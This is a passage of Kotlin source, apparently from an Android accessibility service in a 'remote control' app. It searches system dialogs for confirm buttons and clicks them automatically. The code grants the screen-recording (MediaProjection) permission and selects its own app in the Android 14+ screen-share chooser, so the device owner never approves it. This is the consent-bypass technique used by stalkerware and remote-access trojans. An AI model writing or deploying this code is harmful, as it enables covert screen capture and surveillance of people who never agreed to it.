            "isRequestingMediaProjection" to isRequestingMediaProjection,
            // 删除悬浮窗权限请求状态
            "mediaProjectionRetryCount" to mediaProjectionRetryCount,
            // 删除悬浮窗权限重试计数
            "maxRetryCount" to maxRetryCount
        )
    }
    
    /**
     * 策略4: 全面扫描所有按钮并详细分析
     */
    private fun scanAllButtonsAndAnalyze(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            Log.i(TAG, "🔍 开始全面扫描所有按钮...")
            
            val allButtons = mutableListOf<AccessibilityNodeInfo>()
            collectAllButtons(rootNode, allButtons, 0)
            
            Log.i(TAG, "🔍 共找到 ${allButtons.size} 个按钮/可点击节点")
            
            // 分析所有按钮
            var confirmButtons = mutableListOf<AccessibilityNodeInfo>()
            var cancelButtons = mutableListOf<AccessibilityNodeInfo>()
            
            for (button in allButtons) {
                val text = button.text?.toString()?.lowercase() ?: ""
                val className = button.className?.toString() ?: ""
                val viewId = button.viewIdResourceName ?: ""
                val bounds = android.graphics.Rect()
                button.getBoundsInScreen(bounds)
                
                Log.i(TAG, "🔍 按钮分析: 文本='$text', 类名='$className', ViewId='$viewId', 位置=$bounds")
                
                // 检查是否是确认按钮
                val isConfirmButton = text.contains("start") || text.contains("allow") || text.contains("ok") ||
                                    text.contains("开始") || text.contains("允许") || text.contains("确定") ||
                                    text.contains("yes") || text.contains("accept") || text.contains("grant") ||
                                    text.contains("continue") || text.contains("继续") ||
                                    viewId.contains("positive") || viewId.contains("button1") || viewId.contains("allow") ||
                                    viewId.contains("start") || viewId.contains("ok") || viewId.contains("grant")
                
                // 检查是否是取消按钮
                val isCancelButton = text.contains("cancel") || text.contains("deny") || text.contains("dismiss") ||
                                   text.contains("取消") || text.contains("拒绝") || text.contains("关闭") ||
                                   text.contains("no") || text.contains("否") ||
                                   viewId.contains("negative") || viewId.contains("cancel") || viewId.contains("deny")
                
                if (isConfirmButton) {
                    confirmButtons.add(button)
                    Log.e(TAG, "✅ 发现确认按钮: 文本='$text', 类名='$className', ViewId='$viewId'")
                } else if (isCancelButton) {
                    cancelButtons.add(button)
                    Log.e(TAG, "❌ 发现取消按钮: 文本='$text', 类名='$className', ViewId='$viewId'")
                } else {
                    Log.w(TAG, "❓ 未知按钮: 文本='$text', 类名='$className', ViewId='$viewId'")
                }
            }
            
            // 优先点击确认按钮
            if (confirmButtons.isNotEmpty()) {
                Log.i(TAG, "🎯 找到 ${confirmButtons.size} 个确认按钮，准备点击第一个")
                val targetButton = confirmButtons[0]
                val success = targetButton.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                if (success) {
                    Log.i(TAG, "🎉 成功点击确认按钮: ${targetButton.text}")
                    return true
                } else {
                    Log.w(TAG, "⚠️ 点击确认按钮失败")
                }
            }
            
            // 如果没有明确的确认按钮，尝试智能推断
            if (confirmButtons.isEmpty() && allButtons.isNotEmpty()) {
                Log.i(TAG, "🔍 没有明确的确认按钮，尝试智能推断")
                
                // 如果只有一个取消按钮，说明确认按钮可能没被找到，需要深度搜索
                if (cancelButtons.size == 1 && allButtons.size == 1) {
                    Log.w(TAG, "⚠️ 只找到取消按钮，可能遗漏了确认按钮，启动深度搜索")
                    val deepSearchButtons = mutableListOf<AccessibilityNodeInfo>()
                    deepSearchForButtons(rootNode, deepSearchButtons, 0)
                    
                    Log.i(TAG, "🔍 深度搜索找到 ${deepSearchButtons.size} 个按钮")
                    
                    for (button in deepSearchButtons) {
                        val text = button.text?.toString()?.lowercase() ?: ""
                        val className = button.className?.toString() ?: ""
                        val viewId = button.viewIdResourceName ?: ""
                        
                        Log.i(TAG, "🔍 深度搜索按钮: 文本='$text', 类名='$className', ViewId='$viewId'")
                        
                        // 更精确的确认按钮判断：必须是Button类型或明确可点击的短文本
                        val isConfirmButton = (text.contains("start") || text.contains("allow") || text.contains("ok") ||
                                             text.contains("开始") || text.contains("允许") || text.contains("确定") ||
                                             text.contains("yes") || text.contains("accept") || text.contains("grant")) &&
                                             (className.contains("Button", ignoreCase = true) || text.length <= 20) &&
                                             !text.contains("recording", ignoreCase = true) &&  // 排除标题文本
                                             !text.contains("casting", ignoreCase = true)       // 排除标题文本
                        
                        val isCancelButton = text.contains("cancel") || text.contains("取消") || 
                                           text.contains("deny") || text.contains("拒绝")
                        
                        if (isConfirmButton && !isCancelButton && button.isClickable) {
                            Log.i(TAG, "🎯 深度搜索找到确认按钮: 文本='$text'")
                            val success = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                            if (success) {
                                Log.i(TAG, "🎉 深度搜索成功点击确认按钮: $text")
                                return true
                            }
                        }
                    }
                }
                
                // 如果还是没找到，尝试点击非取消按钮
                for (button in allButtons) {
                    val text = button.text?.toString()?.lowercase() ?: ""
                    val isCancelButton = text.contains("cancel") || text.contains("取消") || 
                                       text.contains("deny") || text.contains("拒绝") ||
                                       text.contains("dismiss") || text.contains("关闭")
                    
                    if (!isCancelButton) {
                        Log.i(TAG, "🎯 尝试点击非取消按钮: 文本='$text'")
                        val success = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "🎉 成功点击非取消按钮: $text")
                            return true
                        }
                    }
                }
            }
            
            Log.w(TAG, "⚠️ 全面扫描完成，但未找到合适的按钮点击")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 全面扫描按钮失败", e)
            return false
        }
    }
    
    /**
     * 收集所有按钮节点 - 增强版
     */
    private fun collectAllButtons(node: AccessibilityNodeInfo, buttons: MutableList<AccessibilityNodeInfo>, depth: Int) {
        if (depth > 15) return // 增加搜索深度
        
        val text = node.text?.toString() ?: ""
        val className = node.className?.toString() ?: ""
        val viewId = node.viewIdResourceName ?: ""
        
        // 更宽松的按钮识别条件
        val isButton = node.isClickable || 
                      className.contains("Button", ignoreCase = true) ||
                      className.contains("TextView", ignoreCase = true) && node.isClickable ||
                      viewId.contains("button", ignoreCase = true) ||
                      (text.isNotEmpty() && node.isClickable)
        
        if (isButton) {
            buttons.add(node)
            Log.d(TAG, "🔍 [收集按钮] 深度${depth}: 文本='$text', 类名='$className', ViewId='$viewId', 可点击=${node.isClickable}")
        }
        
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                collectAllButtons(child, buttons, depth + 1)
                child.recycle()
            }
        }
    }
    
    /**
     * 处理Android 14+ Spinner选择事件
     */
    private fun handleSpinnerSelection(event: AccessibilityEvent) {
        try {
            Log.i(TAG, "🎯 处理Android 14+ Spinner选择事件")
            
            // 🛡️ 核心修复：权限保活状态检测 - 在处理Spinner之前进行严格检查
            if (Build.VERSION.SDK_INT >= 34) {
                val isKeepAliveState = !isRequestingMediaProjection && 
                                      hasMediaProjectionPermission() && 
                                      MediaProjectionHolder.getMediaProjection() != null
                
                // ✅ 检查是否正在重新创建VirtualDisplay
                val isVirtualDisplayRecreating = try {
                    (context as? AccessibilityRemoteService)?.getScreenCaptureManager()?.isVirtualDisplayRecreating() ?: false
                } catch (e: Exception) {
                    Log.w(TAG, "检查VirtualDisplay重新创建状态失败: ${e.message}")
                    false
                }
                
                // ✅ 修复：区分保活检查和真正的权限申请
                val shouldSkipSpinnerProcessing = if (isVirtualDisplayRecreating) {
                    // VirtualDisplay重新创建时，只有在非权限申请状态下才跳过处理
                    !isRequestingMediaProjection
                } else {
                    // 普通保活状态，直接跳过
                    isKeepAliveState
                }
                
                if (shouldSkipSpinnerProcessing) {
                    val reason = when {
                        isVirtualDisplayRecreating && !isRequestingMediaProjection -> "VirtualDisplay重新创建中(非权限申请)"
                        isKeepAliveState -> "权限保活状态"
                        else -> "未知原因"
                    }
                    Log.i(TAG, "🛡️ [权限保活] 检测到权限保活状态($reason)，完全跳过Spinner处理避免权限弹窗")
                    Log.i(TAG, "🛡️ [权限保活] 权限状态: requesting=$isRequestingMediaProjection, hasPermission=${hasMediaProjectionPermission()}, hasObject=${MediaProjectionHolder.getMediaProjection() != null}")
                    return
                } else if (isVirtualDisplayRecreating && isRequestingMediaProjection) {
                    Log.i(TAG, "🎯 [权限申请] VirtualDisplay重新创建中，但处于权限申请状态，继续处理Spinner")
                }
            }
            
            // 首先检查权限状态，如果权限已经正常，跳过处理
            if (hasMediaProjectionPermission()) {
                Log.i(TAG, "🛡️ MediaProjection权限已存在，跳过Spinner处理（这是系统保活检查）")
                return
            }
            
            // 检查是否在权限申请过程中
            if (!isRequestingMediaProjection && !isSecondaryConfirmationActive) {
                Log.i(TAG, "🛡️ 当前不在权限申请过程中，跳过Spinner处理（这是系统保活检查）")
                return
            }
            
            val rootNode = service.rootInActiveWindow
            if (rootNode == null) {
                Log.w(TAG, "❌ 无法获取根节点")
                return
            }
            
            Log.i(TAG, "🔍 分析Spinner页面结构...")
            printNodeStructure(rootNode, 0)
            
            // 延迟一下让Spinner完全展开
            Thread.sleep(500)
            
            // 尝试处理二次确认
            val success = handleSecondaryConfirmationIfNeeded(rootNode)
            if (success) {
                Log.i(TAG, "✅ Spinner选择处理成功")
            } else {
                Log.w(TAG, "⚠️ Spinner选择处理失败，尝试备用策略")
                
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理Spinner选择失败", e)
        }
    }
    

    /**
     * 智能检测并处理二次确认页面（仅在确实需要时）
     */
    private fun handleSecondaryConfirmationIfNeeded(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            val packageName = rootNode.packageName?.toString() ?: ""
            Log.i(TAG, "🔍 分析当前页面: $packageName")
            
            // 首先检查是否真的是二次确认页面的特征
            val isSecondaryConfirmationPage = detectSecondaryConfirmationPage(rootNode, packageName)
            
            if (!isSecondaryConfirmationPage) {
                Log.i(TAG, "🔍 当前页面不是二次确认页面，跳过处理")
                return false
            }
            
            Log.i(TAG, "🎯 检测到二次确认页面，开始处理...")
            
            // 先打印页面所有节点信息用于调试
            Log.i(TAG, "🔍 二次确认页面节点结构分析:")
            analyzeSecondaryConfirmationPage(rootNode, 0)
            
            // 检查是否是应用选择页面
            if (packageName == "com.android.systemui" || packageName == "android") {
                // 查找我们的应用条目 - 扩展应用名称列表
                val appNames = arrayOf(
                    // 完整应用名称
                    "Android Remote Control",
                    "远程控制",
                    "RemoteControl",
                    "com.hikoncont",
                    
                    // 可能的变体
                    "Remote Control", 
                    "Remote",
                    "控制",
                    "Android Remote",
                    
                    // 包名相关
                    "remotecontrol",
                    "android.remote.control",
                    
                    // 英文变体
                    "ANDROID REMOTE CONTROL",
                    "remote control",
                    "REMOTE CONTROL"
                )
                
                Log.i(TAG, "🔍 开始查找应用名称...")
                var foundApp = false
                
                for (appName in appNames) {
                    val appNodes = rootNode.findAccessibilityNodeInfosByText(appName)
                    Log.d(TAG, "   查找 '$appName': 找到 ${appNodes.size} 个节点")
                    
                    for (appNode in appNodes) {
                        val text = appNode.text?.toString() ?: ""
                        val className = appNode.className?.toString() ?: ""
                        val bounds = android.graphics.Rect()
                        appNode.getBoundsInScreen(bounds)
                        
                        Log.i(TAG, "   📱 应用节点: 文本='$text', 类名='$className', 可点击=${appNode.isClickable}, 位置=$bounds")
                        
                        if (appNode.isClickable) {
                            Log.i(TAG, "🎯 找到可点击应用选择项: $appName")
                            val success = appNode.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                            if (success) {
                                Log.i(TAG, "🎉 成功点击应用选择项: $appName")
                                foundApp = true
                                return true
                            } else {
                                Log.w(TAG, "⚠️ 点击应用失败: $appName")
                            }
                        } else {
                            // 如果当前节点不可点击，查找其可点击的父节点
                            Log.i(TAG, "   🔍 节点不可点击，查找可点击父节点...")
                            val clickableParent = findClickableParent(appNode)
                            if (clickableParent != null) {
                                val parentBounds = android.graphics.Rect()
                                clickableParent.getBoundsInScreen(parentBounds)
                                Log.i(TAG, "   🎯 找到可点击父节点: 类名=${clickableParent.className}, 位置=$parentBounds")
                                
                                val success = clickableParent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                                if (success) {
                                    Log.i(TAG, "🎉 成功点击应用的父节点: $appName")
                                    foundApp = true
                                    return true
                                } else {
                                    Log.w(TAG, "⚠️ 点击父节点失败: $appName")
                                }
                            } else {
                                Log.w(TAG, "   ❌ 未找到可点击父节点: $appName")
                            }
                        }
                    }
                }
                
                // 如果精确名称没找到，尝试模糊匹配
                if (!foundApp) {
                    Log.i(TAG, "🔍 精确名称未找到，尝试模糊匹配...")
                    foundApp = findAppByFuzzyMatch(rootNode)
                }
                
                // 如果还是没找到，尝试全页面搜索可点击项
                if (!foundApp) {
                    Log.i(TAG, "🔍 模糊匹配失败，尝试全页面搜索...")
                    foundApp = findAnyClickableApp(rootNode)
                }
                
                if (foundApp) {
                    return true
                }
            }
            
            Log.i(TAG, "🔍 二次确认页面处理完成，但未找到应用选择项")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理二次确认页面失败", e)
            return false
        }
    }
    
    /**
     * 检测是否是二次确认页面 - 增强模糊搜索
     */
    private fun detectSecondaryConfirmationPage(rootNode: AccessibilityNodeInfo, packageName: String): Boolean {
        try {
            // 只有在系统UI页面才可能是二次确认
            if (packageName != "com.android.systemui" && packageName != "android") {
                return false
            }
            
            // 检查页面特征，寻找二次确认页面的特有元素（扩展模糊搜索）
            val confirmationIndicators = arrayOf(
                // 精确匹配
                "Choose an app",  // 选择应用
                "选择应用",
                "Select app", 
                "Cast to",        // 投屏到
                "投屏到", 
                "Record with",    // 录制使用
                "录制使用",
                "Share screen with", // 与...共享屏幕
                "与.*共享屏幕",
                "A single app",   // Android 15的应用选择
                "整个设备",       // 整个设备录制
                "Entire device",  // 整个设备
                "分享或录制应用程序",
                "分享或录制应用", 
                "分享",  
                "录制", 
                "Share", 
                "share", 
                "record",
                "Share or record an app",  
                "Select source",   // 选择源
                "Choose what to record", // 选择录制内容
                "What would you like to record", // 你想录制什么
                "Record or cast",  // 录制或投屏
                
                // 模糊匹配关键词
                "choose", "选择", "select",
                "cast", "投屏", "投射",
                "record", "录制", "录屏",
                "share", "分享", "共享",
                "screen", "屏幕",
                "device", "设备",
                "app", "应用", "程序"
            )
            
            var matchCount = 0
            for (indicator in confirmationIndicators) {
                if (searchTextFuzzy(rootNode, indicator)) {
                    Log.i(TAG, "🎯 检测到二次确认页面特征: $indicator")
                    matchCount++
                }
            }
            
            // 如果匹配到多个特征，更可能是二次确认页面
            if (matchCount >= 2) {
                Log.i(TAG, "🎯 多重特征匹配($matchCount)，确认为二次确认页面")
                return true
            }
            
            // 检查是否有应用列表的特征（多个应用图标/名称）
            val appCount = countAppEntries(rootNode)
            if (appCount >= 2) {
                Log.i(TAG, "🎯 检测到应用选择列表，应用数量: $appCount")
                return true
            }
            
            // 检查UI布局特征（如果有多个列表项）
            val listItems = countListItems(rootNode)
            if (listItems >= 2) {
                Log.i(TAG, "🎯 检测到列表界面，项目数量: $listItems")
                return true
            }
            
            Log.i(TAG, "🔍 未检测到二次确认页面特征 (匹配数: $matchCount)")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检测二次确认页面失败", e)
            return false
        }
    }
    
    /**
     * 模糊文本搜索
     */
    private fun searchTextFuzzy(rootNode: AccessibilityNodeInfo, keyword: String): Boolean {
        try {
            // 精确搜索
            val exactNodes = rootNode.findAccessibilityNodeInfosByText(keyword)
            if (exactNodes.isNotEmpty()) {
                return true
            }
            
            // 模糊搜索：递归遍历所有节点
            return searchTextInNode(rootNode, keyword.lowercase(), 0)
            
        } catch (e: Exception) {
            Log.w(TAG, "模糊搜索异常: $keyword", e)
            return false
        }
    }
    
    /**
     * 在节点中递归搜索文本
     */
    private fun searchTextInNode(node: AccessibilityNodeInfo?, keyword: String, depth: Int): Boolean {
        if (node == null || depth > 8) return false
        
        val nodeText = node.text?.toString()?.lowercase() ?: ""
        val contentDesc = node.contentDescription?.toString()?.lowercase() ?: ""
        
        // 检查当前节点的文本内容
        if (nodeText.contains(keyword) || contentDesc.contains(keyword)) {
            Log.d(TAG, "🔍 模糊搜索命中: '$keyword' 在文本 '$nodeText' 或描述 '$contentDesc'")
            return true
        }
        
        // 递归搜索子节点
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                if (searchTextInNode(child, keyword, depth + 1)) {
                    child.recycle()
                    return true
                }
                child.recycle()
            }
        }
        
        return false
    }
    
    /**
     * 统计列表项目数量
     */
    private fun countListItems(rootNode: AccessibilityNodeInfo): Int {
        var count = 0
        return countListItemsRecursive(rootNode, count, 0)
    }
    
    /**
     * 递归统计列表项目
     */
    private fun countListItemsRecursive(node: AccessibilityNodeInfo?, count: Int, depth: Int): Int {
        if (node == null || depth > 6) return count
        
        var currentCount = count
        val className = node.className?.toString() ?: ""
        
        // 识别常见的列表项类名
        if (className.contains("ListView", ignoreCase = true) ||
            className.contains("RecyclerView", ignoreCase = true) ||
            className.contains("GridView", ignoreCase = true)) {
            
            // 统计直接子项数量
            val directChildren = node.childCount
            Log.d(TAG, "🔍 发现列表容器: $className, 子项数量: $directChildren")
            currentCount += directChildren
        }
        
        // 识别列表项
        if (node.isClickable && (
            className.contains("LinearLayout", ignoreCase = true) ||
            className.contains("RelativeLayout", ignoreCase = true) ||
            className.contains("FrameLayout", ignoreCase = true) ||
            className.contains("ConstraintLayout", ignoreCase = true)
        )) {
            val text = node.text?.toString() ?: ""
            val contentDesc = node.contentDescription?.toString() ?: ""
            
            // 如果有文本内容且看起来像应用项
            if ((text.isNotEmpty() || contentDesc.isNotEmpty()) && 
                text.length < 50 && contentDesc.length < 50) {
                currentCount++
                Log.d(TAG, "🔍 发现列表项: 文本='$text', 描述='$contentDesc'")
            }
        }
        
        // 递归搜索子节点
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                currentCount = countListItemsRecursive(child, currentCount, depth + 1)
                child.recycle()
            }
        }
        
        return currentCount
    }
    
    /**
     * 统计页面中的应用条目数量
     */
    private fun countAppEntries(node: AccessibilityNodeInfo, depth: Int = 0): Int {
        if (depth > 5) return 0
        
        var count = 0
        
        // 检查当前节点是否看起来像应用条目
        val text = node.text?.toString() ?: ""
        val className = node.className?.toString() ?: ""
        
        if (node.isClickable && (
            text.contains("Remote", ignoreCase = true) ||
            text.contains("Control", ignoreCase = true) ||
            text.contains("远程", ignoreCase = true) ||
            text.contains("控制", ignoreCase = true) ||
            className.contains("TextView") ||
            className.contains("Button")
        )) {
            count++
        }
        
        // 递归检查子节点
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                count += countAppEntries(child, depth + 1)
                child.recycle()
            }
        }
        
                 return count
     }
     
     /**
      * 深度搜索按钮（更激进的搜索策略）
      */
     private fun deepSearchForButtons(node: AccessibilityNodeInfo, buttons: MutableList<AccessibilityNodeInfo>, depth: Int) {
         if (depth > 20) return // 更深的搜索
         
         val text = node.text?.toString() ?: ""
         val className = node.className?.toString() ?: ""
         val viewId = node.viewIdResourceName ?: ""
         val bounds = android.graphics.Rect()
         node.getBoundsInScreen(bounds)
         
         // 更精确的按钮识别条件
         val isPotentialButton = node.isClickable ||
                               className.contains("Button", ignoreCase = true) ||
                               (className.contains("TextView", ignoreCase = true) && node.isClickable) ||
                               viewId.contains("button", ignoreCase = true) ||
                               viewId.contains("btn", ignoreCase = true) ||
                               // 短文本 + 可点击 + 合理尺寸
                               (text.isNotEmpty() && text.length < 15 && node.isClickable && 
                                bounds.width() > 80 && bounds.height() > 40 && bounds.width() < 500)
         
         if (isPotentialButton) {
             buttons.add(node)
             Log.d(TAG, "🔍 [深度搜索] 深度${depth}: 文本='$text', 类名='$className', ViewId='$viewId', 可点击=${node.isClickable}, 位置=$bounds")
         }
         
         for (i in 0 until node.childCount) {
             val child = node.getChild(i)
             if (child != null) {
                 deepSearchForButtons(child, buttons, depth + 1)
                 child.recycle()
             }
         }
     }
     
     // 分析二次确认页面结构
     private fun analyzeSecondaryConfirmationPage(node: AccessibilityNodeInfo?, depth: Int) {
         if (node == null || depth > 3) return  // 限制深度避免过多日志
         
         val text = node.text?.toString() ?: ""
         val className = node.className?.toString() ?: ""
         val bounds = android.graphics.Rect()
         node.getBoundsInScreen(bounds)
         val indent = "  ".repeat(depth)
         
         if (text.isNotEmpty() || node.isClickable) {
             Log.d(TAG, "${indent}📄 节点: 文本='$text', 类名='$className', 可点击=${node.isClickable}, 位置=$bounds")
         }
         
         // 递归遍历子节点
         for (i in 0 until node.childCount) {
             analyzeSecondaryConfirmationPage(node.getChild(i), depth + 1)
         }
     }
     
     // 模糊匹配查找应用 - 增强版
     private fun findAppByFuzzyMatch(rootNode: AccessibilityNodeInfo): Boolean {
         // 扩展关键词列表，包含更多可能的匹配
         val keywords = arrayOf(
             // 英文关键词
             "remote", "control", "Remote", "Control", "REMOTE", "CONTROL",
             "android", "Android", "ANDROID",
             
             // 中文关键词
             "远程", "控制", "遥控", "远程控制",
             
             // 包名相关
             "remotecontrol", "com.hikoncont",
             
             // 可能的应用名称部分
             "RC", "rc", "安卓", "手机"
         )
         
         Log.i(TAG, "🔍 开始增强模糊匹配查找...")
         
         // 1. 精确关键词搜索
         for (keyword in keywords) {
             if (searchAndClickByKeyword(rootNode, keyword)) {
                 Log.i(TAG, "🎉 精确关键词匹配成功: $keyword")
                 return true
             }
         }
         
         // 2. 深度递归模糊搜索
         Log.i(TAG, "🔍 开始深度递归模糊搜索...")
         if (deepFuzzySearch(rootNode, keywords, 0)) {
             return true
         }
         
         // 3. 基于相似度的智能匹配
         Log.i(TAG, "🔍 开始相似度智能匹配...")
         if (similarityBasedMatch(rootNode)) {
             return true
         }
         
         return false
     }
     
     /**
     * 根据关键词搜索并点击
     */
     private fun searchAndClickByKeyword(rootNode: AccessibilityNodeInfo, keyword: String): Boolean {
         try {
             val nodes = rootNode.findAccessibilityNodeInfosByText(keyword)
             Log.d(TAG, "   关键词 '$keyword': 找到 ${nodes.size} 个节点")
             
             for (node in nodes) {
                 val text = node.text?.toString() ?: ""
                 val contentDesc = node.contentDescription?.toString() ?: ""
                 
                 Log.d(TAG, "     节点文本: '$text', 描述: '$contentDesc', 可点击: ${node.isClickable}")
                 
                 // 检查是否可能是我们的应用
                 if (isLikelyOurApp(text, contentDesc)) {
                     if (node.isClickable) {
                         Log.i(TAG, "🎯 关键词匹配找到可点击应用候选: '$text'")
                         val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                         if (success) {
                             Log.i(TAG, "🎉 关键词匹配点击成功: '$text'")
                             return true
                         }
                     } else {
                         // 查找可点击父节点
                         Log.i(TAG, "🎯 关键词匹配找到应用候选，查找可点击父节点: '$text'")
                         val clickableParent = findClickableParent(node)
                         if (clickableParent != null) {
                             val success = clickableParent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                             if (success) {
                                 Log.i(TAG, "🎉 关键词匹配通过父节点点击成功: '$text'")
                                 return true
                             }
                         }
                     }
                 }
             }
         } catch (e: Exception) {
             Log.w(TAG, "关键词搜索异常: $keyword", e)
         }
         
         return false
     }
     
     /**
     * 深度递归模糊搜索
     */
     private fun deepFuzzySearch(node: AccessibilityNodeInfo?, keywords: Array<String>, depth: Int): Boolean {
         if (node == null || depth > 8) return false
         
         val text = node.text?.toString() ?: ""
         val contentDesc = node.contentDescription?.toString() ?: ""
         
         // 检查当前节点是否包含关键词
         for (keyword in keywords) {
             if (text.contains(keyword, ignoreCase = true) || contentDesc.contains(keyword, ignoreCase = true)) {
                 if (isLikelyOurApp(text, contentDesc)) {
                     Log.i(TAG, "🔍 深度搜索发现匹配: 文本='$text', 描述='$contentDesc', 关键词='$keyword'")
                     
                     if (node.isClickable) {
                         val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                         if (success) {
                             Log.i(TAG, "🎉 深度搜索点击成功: '$text'")
                             return true
                         }
                     } else {
                         val clickableParent = findClickableParent(node)
                         if (clickableParent != null) {
                             val success = clickableParent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                             if (success) {
                                 Log.i(TAG, "🎉 深度搜索通过父节点点击成功: '$text'")
                                 return true
                             }
                         }
                     }
                 }
             }
         }
         
         // 递归搜索子节点
         for (i in 0 until node.childCount) {
             val child = node.getChild(i)
             if (child != null) {
                 if (deepFuzzySearch(child, keywords, depth + 1)) {
                     child.recycle()
                     return true
                 }
                 child.recycle()
             }
         }
         
         return false
     }
     
     /**
     * 基于相似度的智能匹配
     */
     private fun similarityBasedMatch(rootNode: AccessibilityNodeInfo): Boolean {
         val targetNames = arrayOf(
             "Android Remote Control",
             "远程控制", 
             "RemoteControl",
             "Remote Control"
         )
         
         return findBestMatch(rootNode, targetNames, 0)
     }
     
     /**
     * 递归查找最佳匹配
     */
     private fun findBestMatch(node: AccessibilityNodeInfo?, targetNames: Array<String>, depth: Int): Boolean {
         if (node == null || depth > 6) return false
         
         val text = node.text?.toString() ?: ""
         val contentDesc = node.contentDescription?.toString() ?: ""
         
         if (text.isNotEmpty() || contentDesc.isNotEmpty()) {
             for (targetName in targetNames) {
                 val textSimilarity = calculateSimilarity(text, targetName)
                 val descSimilarity = calculateSimilarity(contentDesc, targetName)
                 val maxSimilarity = maxOf(textSimilarity, descSimilarity)
                 
                 // 如果相似度超过60%，认为是匹配
                 if (maxSimilarity > 0.6) {
                     Log.i(TAG, "🎯 相似度匹配发现候选: 文本='$text', 描述='$contentDesc', 相似度=${(maxSimilarity*100).toInt()}%")
                     
                     if (node.isClickable) {
                         val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                         if (success) {
                             Log.i(TAG, "🎉 相似度匹配点击成功: '$text' (相似度: ${(maxSimilarity*100).toInt()}%)")
                             return true
                         }
                     } else {
                         val clickableParent = findClickableParent(node)
                         if (clickableParent != null) {
                             val success = clickableParent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                             if (success) {
                                 Log.i(TAG, "🎉 相似度匹配通过父节点点击成功: '$text' (相似度: ${(maxSimilarity*100).toInt()}%)")
                                 return true
                             }
                         }
                     }
                 }
             }
         }
         
         // 递归搜索子节点
         for (i in 0 until node.childCount) {
             val child = node.getChild(i)
             if (child != null) {
                 if (findBestMatch(child, targetNames, depth + 1)) {
                     child.recycle()
                     return true
                 }
                 child.recycle()
             }
         }
         
         return false
     }
     
     /**
     * 判断是否可能是我们的应用
     */
     private fun isLikelyOurApp(text: String, contentDesc: String): Boolean {
         val combinedText = "$text $contentDesc".lowercase()
         
         return combinedText.contains("remote") && combinedText.contains("control") ||
                combinedText.contains("远程") && combinedText.contains("控制") ||
                combinedText.contains("remotecontrol") ||
                combinedText.contains("android remote") ||
                (combinedText.contains("remote") && combinedText.contains("android")) ||
                (combinedText.contains("控制") && combinedText.contains("安卓"))
     }
     
     /**
     * 计算字符串相似度（简单的Levenshtein距离）
     */
     private fun calculateSimilarity(s1: String, s2: String): Double {
         if (s1.isEmpty() || s2.isEmpty()) return 0.0
         
         val str1 = s1.lowercase()
         val str2 = s2.lowercase()
         
         val maxLen = maxOf(str1.length, str2.length)
         val distance = levenshteinDistance(str1, str2)
         
         return 1.0 - (distance.toDouble() / maxLen.toDouble())
     }
     
     /**
     * 计算Levenshtein距离
     */
     private fun levenshteinDistance(s1: String, s2: String): Int {
         val dp = Array(s1.length + 1) { IntArray(s2.length + 1) }
         
         for (i in 0..s1.length) dp[i][0] = i
         for (j in 0..s2.length) dp[0][j] = j
         
         for (i in 1..s1.length) {
             for (j in 1..s2.length) {
                 val cost = if (s1[i-1] == s2[j-1]) 0 else 1
                 dp[i][j] = minOf(
                     dp[i-1][j] + 1,      // deletion
                     dp[i][j-1] + 1,      // insertion
                     dp[i-1][j-1] + cost  // substitution
                 )
             }
         }
         
         return dp[s1.length][s2.length]
     }
     
     // 查找任何可点击的应用项
     private fun findAnyClickableApp(rootNode: AccessibilityNodeInfo): Boolean {
         Log.i(TAG, "🔍 全页面搜索可点击项...")
         
         return searchClickableItems(rootNode, 0)
     }
     
     // 递归搜索可点击项
     private fun searchClickableItems(node: AccessibilityNodeInfo?, depth: Int): Boolean {
         if (node == null || depth > 5) return false
         
         val text = node.text?.toString() ?: ""
         val className = node.className?.toString() ?: ""
         
         // 检查当前节点
         if (node.isClickable && text.isNotEmpty()) {
             val bounds = android.graphics.Rect()
             node.getBoundsInScreen(bounds)
             
             // 过滤掉系统按钮和标题
             val isSystemButton = text.contains("取消", true) || 
                                text.contains("cancel", true) ||
                                text.contains("确定", true) ||
                                text.contains("ok", true) ||
                                text.contains("recording", true) ||
                                text.contains("casting", true)
             
             // 检查是否可能是应用项 - 尺寸合理且文本不是系统按钮
             val width = bounds.width()
             val height = bounds.height()
             
             if (!isSystemButton && width > 100 && width < 800 && height > 60 && height < 200) {
                 Log.i(TAG, "🔍 发现可点击项: 文本='$text', 类名='$className', 尺寸=${width}x${height}")
                 
                 // 如果文本看起来像应用名称，尝试点击
                 if (text.length > 2 && text.length < 50 && !text.contains("选择") && !text.contains("Choose")) {
                     Log.i(TAG, "🎯 尝试点击应用候选: '$text'")
                     val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                     if (success) {
                         Log.i(TAG, "🎉 全页面搜索点击成功: '$text'")
                         return true
                     }
                 }
             }
         }
         
         // 递归搜索子节点
         for (i in 0 until node.childCount) {
             if (searchClickableItems(node.getChild(i), depth + 1)) {
                 return true
             }
         }
         
         return false
     }
     
     // 查找可点击的父节点
     private fun findClickableParent(node: AccessibilityNodeInfo?): AccessibilityNodeInfo? {
         if (node == null) return null
         
         var parent = node.parent
         var level = 0
         
         // 最多向上查找5层父节点
         while (parent != null && level < 5) {
             level++
             
             val parentText = parent.text?.toString() ?: ""
             val parentClass = parent.className?.toString() ?: ""
             val bounds = android.graphics.Rect()
             parent.getBoundsInScreen(bounds)
             
             Log.d(TAG, "     父节点${level}: 文本='$parentText', 类名='$parentClass', 可点击=${parent.isClickable}, 位置=$bounds")
             
